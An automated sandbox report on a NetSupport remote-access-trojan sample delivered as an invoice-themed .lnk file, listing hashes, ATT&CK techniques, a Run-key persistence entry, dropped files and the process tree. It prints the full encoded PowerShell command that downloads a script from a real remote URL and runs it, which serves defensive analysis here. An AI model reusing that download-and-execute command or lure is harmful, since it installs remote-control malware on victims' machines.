netsupport | 350a842974df765f33b30c07cdb290e6846dd48d9af8b5851a31beced889d00e

Analysis

max time kernel
143s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
05-03-2024 12:22

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General

Target

Rechnung3777686 M3605066 TEU3777686.lnk
Size

69KB
MD5

234122cf935c5dfb99690848542920f0
SHA1

e1830914af3a5c7968c08afbbe70c931b05987a6
SHA256

f40766eae36bc156e1d05e52d6763b0e80c6adbe91518e76acb3c095fc1514cc
SHA512

10bf42180bc776a346c4ad9e63380001db39ab83ad5caf137f5ac5f91776d5ab12fd4607e9ca674d41dc452a0be6bc3693038b3335be14a35cbd8f0933d21618
SSDEEP

1536:ChHIEFR+bfF3TuA19ow8DPZ4pxXW47NhdEmfjwR6Wts3L75cF:6nFUF3N1P8DPyxB0sxbS

Score

10^/10

netsupport persistence rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://www.sdsoffice.fr/test.txt

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 2 IoCs

flow	pid	Process
11	1772	powershell.exe
18	1772	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
4108	client32.exe

Loads dropped DLL 5 IoCs

pid	Process
4108	client32.exe
4108	client32.exe
4108	client32.exe
4108	client32.exe
4108	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ImmersiveControlPanel.05 = "C:\\Users\\Admin\\AppData\\Roaming\\ImmersiveControlPanel.05\\client32.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1772	powershell.exe
Token: SeSecurityPrivilege	4108	client32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4108	client32.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4064 wrote to memory of 1772	4064	cmd.exe	95
PID 4064 wrote to memory of 1772	4064	cmd.exe	95
PID 1772 wrote to memory of 4108	1772	powershell.exe	107
PID 1772 wrote to memory of 4108	1772	powershell.exe	107
PID 1772 wrote to memory of 4108	1772	powershell.exe	107

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Rechnung3777686 M3605066 TEU3777686.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -EncodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBzAGQAcwBvAGYAZgBpAGMAZQAuAGYAcgAvAHQAZQBzAHQALgB0AHgAdAAnACkAIAB8ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuAA==
  2⤵
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1772
- - C:\Users\Admin\AppData\Roaming\ImmersiveControlPanel.05\client32.exe
    "C:\Users\Admin\AppData\Roaming\ImmersiveControlPanel.05\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:4108

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3788 --field-trial-handle=2692,i,8678872182442199182,12502579059484928042,262144 --variations-seed-version /prefetch:8
1⤵
PID:4968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_knyorxsr.ark.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\ImmersiveControlPanel.05\HTCTL32.DLL

Filesize
31KB

MD5
c7958552883f930a30f27e8d0d0e387c

SHA1
5a146278706dc84f66d4912d6030c4ca706eba21

SHA256
761bfad1e831dcbbd96cbecc581899834a04e4416773e7c91e315ef774c43601

SHA512
40adc88b140549bd33bf76d08ee25a58d33b1ccf94131fac773ff0e3e1876539e473c1973161a54cd53cdbc92cc89a0cc344cae9a8e8c575dab1f36fc805bc7d

Download Submit
C:\Users\Admin\AppData\Roaming\ImmersiveControlPanel.05\HTCTL32.DLL

Filesize
320KB

MD5
2d3b207c8a48148296156e5725426c7f

SHA1
ad464eb7cf5c19c8a443ab5b590440b32dbc618f

SHA256
edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796

SHA512
55c791705993b83c9b26a8dbd545d7e149c42ee358ecece638128ee271e85b4fdbfd6fbae61d13533bf39ae752144e2cc2c5edcda955f18c37a785084db0860c

Download Submit
C:\Users\Admin\AppData\Roaming\ImmersiveControlPanel.05\MSVCR100.dll

Filesize
755KB

MD5
0e37fbfa79d349d672456923ec5fbbe3

SHA1
4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

SHA256
8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

SHA512
2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

Download Submit
C:\Users\Admin\AppData\Roaming\ImmersiveControlPanel.05\NSM.LIC

Filesize
259B

MD5
866c96ba2823ac5fe70130dfaaa08531

SHA1
892a656da1ea264c73082da8c6e5f5728abcb861

SHA256
6a7c99e4bd767433c25d6df8df81baa99c05dd24fa064e45c306ff4d954e1921

SHA512
0dafc66222bbfcb1558d9845ee4ddeb7a687561b08b86a07b66b120c22952a8082e041d9234d9c69c8ade5d4dae894d3f10afd7ba6dd3f057a08fb5d57c42112

Download Submit
C:\Users\Admin\AppData\Roaming\ImmersiveControlPanel.05\PCICAPI.dll

Filesize
32KB

MD5
dcde2248d19c778a41aa165866dd52d0

SHA1
7ec84be84fe23f0b0093b647538737e1f19ebb03

SHA256
9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917

SHA512
c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166

Download Submit
C:\Users\Admin\AppData\Roaming\ImmersiveControlPanel.05\PCICL32.DLL

Filesize
2.3MB

MD5
a904628032ef88e5c11ea072feea11bc

SHA1
b5b4f23be132d05a0c6130fe6eb3fd0ecee3878a

SHA256
e7e37ff330b16a7884d53f3c536a9a1489d4d23a43f42262ffa1cebdccef6b48

SHA512
fa48561fafcfacbe472e1b5c382e256b6efe8152c7e643c95d302fe1c3f2e4f7e4742863e06f92ea02afdb259adec210b2a08d2fdb84a8088e2838481d342797

Download Submit
C:\Users\Admin\AppData\Roaming\ImmersiveControlPanel.05\PCICL32.dll

Filesize
3.1MB

MD5
89280e09379b4626759c1c69eda1adec

SHA1
b38da14237369dc788f8ee71a93c30c53c2964f8

SHA256
9ea28a8c95df05a73b446cfbe76c947ce407c801b74f00ecfb4bf68cb08c2a78

SHA512
d02f388c31e5e16da219f17900db4395bf71e002e58e1679e5730835347a5eb9b0c3ee7982d40a13709c51d1585efce76ffd0b6199210055476d367d09d48215

Download Submit
C:\Users\Admin\AppData\Roaming\ImmersiveControlPanel.05\client32.exe

Filesize
117KB

MD5
a2b46c59f6e7e395d479b09464ecdba0

SHA1
92c132307dd21189b6d7912ddd934b50e50d1ec1

SHA256
89f0c8f170fe9ea28b1056517160e92e2d7d4e8aa81f4ed696932230413a6ce1

SHA512
4f4479ddcd9d0986aec3d789f9e14f9285e8d9d63a5b8f73c9e3203d3a53cd575b1e15edf0d5f640816bb7f25bd3501244e0f7c181a716a6804742ed2f1cf916

Download Submit
C:\Users\Admin\AppData\Roaming\ImmersiveControlPanel.05\client32.ini

Filesize
652B

MD5
c9b4f1e39f34d1c29afdd773198b7aab

SHA1
941bf2cb5db320353a611064e421efc863e801db

SHA256
ce821d983c7b99e17baa5242f32a9cf2aa2a89d6e1c1df805d503754c768a7a5

SHA512
ed2c0c86d4b97de4d292d5488f3152d6e44fcad8cb7303ee4f8c0aa628c63ada77064008f7cc3a9dc90b8ff40d20905b3d627bee4238f27662bc67c9d9121775

Download Submit
C:\Users\Admin\AppData\Roaming\ImmersiveControlPanel.05\pcichek.dll

Filesize
18KB

MD5
a0b9388c5f18e27266a31f8c5765b263

SHA1
906f7e94f841d464d4da144f7c858fa2160e36db

SHA256
313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a

SHA512
6051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd

Download Submit
memory/1772-36-0x000001B1EE620000-0x000001B1EE630000-memory.dmp

Filesize
64KB

Download
memory/1772-35-0x000001B1EE620000-0x000001B1EE630000-memory.dmp

Filesize
64KB

Download
memory/1772-18-0x000001B1EE240000-0x000001B1EE24A000-memory.dmp

Filesize
40KB

Download
memory/1772-17-0x000001B1F7730000-0x000001B1F7742000-memory.dmp

Filesize
72KB

Download
memory/1772-15-0x00007FF8A1640000-0x00007FF8A2101000-memory.dmp

Filesize
10.8MB

Download
memory/1772-13-0x000001B1EE620000-0x000001B1EE630000-memory.dmp

Filesize
64KB

Download
memory/1772-71-0x00007FF8A1640000-0x00007FF8A2101000-memory.dmp

Filesize
10.8MB

Download
memory/1772-14-0x000001B1EE620000-0x000001B1EE630000-memory.dmp

Filesize
64KB

Download
memory/1772-12-0x00007FF8A1640000-0x00007FF8A2101000-memory.dmp

Filesize
10.8MB

Download
memory/1772-7-0x000001B1EE5D0000-0x000001B1EE5F2000-memory.dmp

Filesize
136KB

Download